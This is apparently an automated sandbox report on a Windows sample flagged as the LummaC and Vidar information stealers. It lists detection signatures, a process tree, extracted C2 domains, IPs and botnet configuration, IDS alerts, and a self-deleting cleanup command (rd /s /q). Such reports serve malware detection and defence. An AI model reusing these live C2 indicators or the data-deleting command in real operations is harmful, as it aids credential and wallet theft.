Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1527394
MD5:	d2a66a09ec4c30b500b8a250ecac14eb
SHA1:	d4f675b2757df6173c14d3fe9fa6f7b69c72e5f3
SHA256:	af7db44f0971145d05b8ce1757fc2f8d0f549f39d2ea1818a96851f8d1df07eb
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Vidar stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7288 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D2A66A09EC4C30B500B8A250ECAC14EB)

MSBuild.exe (PID: 7304 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

KJEHJKJEBG.exe (PID: 7904 cmdline: "C:\ProgramData\KJEHJKJEBG.exe" MD5: 20732FDC3A5DBA86CBA29107799C65C9)

MSBuild.exe (PID: 7920 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 8144 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\IIEBAFCBKFID" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5780 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: LummaC

{"C2 url": ["bathdoomgaz.stor", "licendfilteo.site", "studennotediw.stor", "dissapoiznw.stor", "clearancek.site", "mobbipenju.stor", "eaglepawnoy.stor", "spirittunek.stor"], "Build id": "H8NgCl--"}

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "566ac7bdeaf763bbaf70aa6d5667c804"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2443146862.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x5ff8e:$x5: vchost.exe
00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.1738676459.0000000000AFC000.00000004.00000001.01000000.00000003.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: file.exe PID: 7288	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7288	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 7304	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7304	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 7304	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 7304	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.MSBuild.exe.43f8e0.0.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x206ae:$x5: vchost.exe
6.2.MSBuild.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
6.2.MSBuild.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.43dcd8.2.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x222b6:$x5: vchost.exe
5.2.KJEHJKJEBG.exe.ba0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
1.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.afcae0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.afcae0.1.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.file.exe.afcae0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.afcae0.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
1.2.MSBuild.exe.400000.1.raw.unpack	HiddenCobra_BANKSHOT_Gen	Detects Hidden Cobra BANKSHOT trojan	Florian Roth	0x5ff8e:$x5: vchost.exe
0.2.file.exe.ad0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.2.file.exe.ad0000.0.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 11 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 141.98.233.156, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7304, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49741

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:26.985124+0200	2054653	1	A Network Trojan was detected	192.168.2.4	49860	172.67.206.204	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:26.985124+0200	2049836	1	A Network Trojan was detected	192.168.2.4	49860	172.67.206.204	443	TCP

ET MALWARE Vidar Stealer Form Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:57.995257+0200	2054495	1	A Network Trojan was detected	192.168.2.4	49859	45.132.206.251	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.710803+0200	2056477	1	Domain Observed Used for C2 Detected	192.168.2.4	63996	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.735781+0200	2056471	1	Domain Observed Used for C2 Detected	192.168.2.4	63264	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.686797+0200	2056481	1	Domain Observed Used for C2 Detected	192.168.2.4	51930	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.678253+0200	2056483	1	Domain Observed Used for C2 Detected	192.168.2.4	61682	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.723654+0200	2056473	1	Domain Observed Used for C2 Detected	192.168.2.4	56284	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.666735+0200	2056485	1	Domain Observed Used for C2 Detected	192.168.2.4	51368	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.647807+0200	2056475	1	Domain Observed Used for C2 Detected	192.168.2.4	49349	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:24.699282+0200	2056479	1	Domain Observed Used for C2 Detected	192.168.2.4	53901	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:07.034411+0200	2044247	1	Malware Command and Control Activity Detected	141.98.233.156	80	192.168.2.4	49741	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:07.713904+0200	2051831	1	Malware Command and Control Activity Detected	141.98.233.156	80	192.168.2.4	49741	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:06.305433+0200	2049087	1	A Network Trojan was detected	192.168.2.4	49741	141.98.233.156	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-06T22:33:23.769438+0200	2803304	3	Unknown Traffic	192.168.2.4	49837	147.45.44.104	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199780418869	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/badges	URL Reputation: Label: malware

Found malware configuration

Source: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199780418869"], "Botnet": "566ac7bdeaf763bbaf70aa6d5667c804"}
Source: 6.2.MSBuild.exe.400000.0.unpack	Malware Configuration Extractor: LummaC {"C2 url": ["bathdoomgaz.stor", "licendfilteo.site", "studennotediw.stor", "dissapoiznw.stor", "clearancek.site", "mobbipenju.stor", "eaglepawnoy.stor", "spirittunek.stor"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\KJEHJKJEBG.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: clearancek.site
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: licendfilteo.site
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: spirittunek.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: bathdoomgaz.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: studennotediw.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: dissapoiznw.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: eaglepawnoy.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: mobbipenju.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: spirittunek.stor
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: - Screen Resoluton:
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: Workgroup: -
Source: 00000005.00000002.2419628160.0000000000BCC000.00000004.00000001.01000000.00000009.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004080A1 CryptUnprotectData,LocalAlloc,LocalFree,	1_2_004080A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00411E5D CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	1_2_00411E5D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408048 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	1_2_00408048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040A7D8 _memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,_memmove,lstrcatA,PK11_FreeSlot,lstrcatA,	1_2_0040A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C426C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	1_2_6C426C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C57A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	1_2_6C57A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C574440 PK11_PrivDecrypt,	1_2_6C574440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C544420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	1_2_6C544420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5744C0 PK11_PubEncrypt,	1_2_6C5744C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C5C25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	1_2_6C5C25B0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.204:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49915 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: MSBuild.exe, 00000001.00000002.2763898778.000000001DBA6000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: MSBuild.exe, 00000001.00000002.2777002776.0000000035961000.00000004.00000020.00020000.00000000.sdmp, vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSBuild.exe, 00000001.00000002.2770383080.0000000029A88000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.2787782401.000000006C64F000.00000002.00000001.01000000.00000007.sdmp, MSBuild.exe, 00000001.00000002.2780051549.000000003B8D7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: MSBuild.exe, 00000001.00000002.2759657660.00000000178EA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2763587529.000000001D858000.00000002.00001000.00020000.00000000.sdmp, sql[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.2767304923.0000000023B1D000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: MSBuild.exe, 00000001.00000002.2773771439.000000002F9F5000.00000004.00000020.00020000.00000000.sdmp, softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE980F FindFirstFileExW,	0_2_00AE980F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041543D wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_0041543D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414CC8 wsprintfA,FindFirstFileA,_memset,_memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,_memset,lstrcatA,strtok_s,strtok_s,_memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,strtok_s,FindNextFileA,FindClose,	1_2_00414CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00409D1C FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00409D1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040D5C6 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040D5C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B5DF FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	1_2_0040B5DF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401D80 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00401D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040BF4D FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	1_2_0040BF4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415FD1 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_00415FD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040B93F FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040B93F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00415B0B GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00415B0B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040CD37 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040CD37
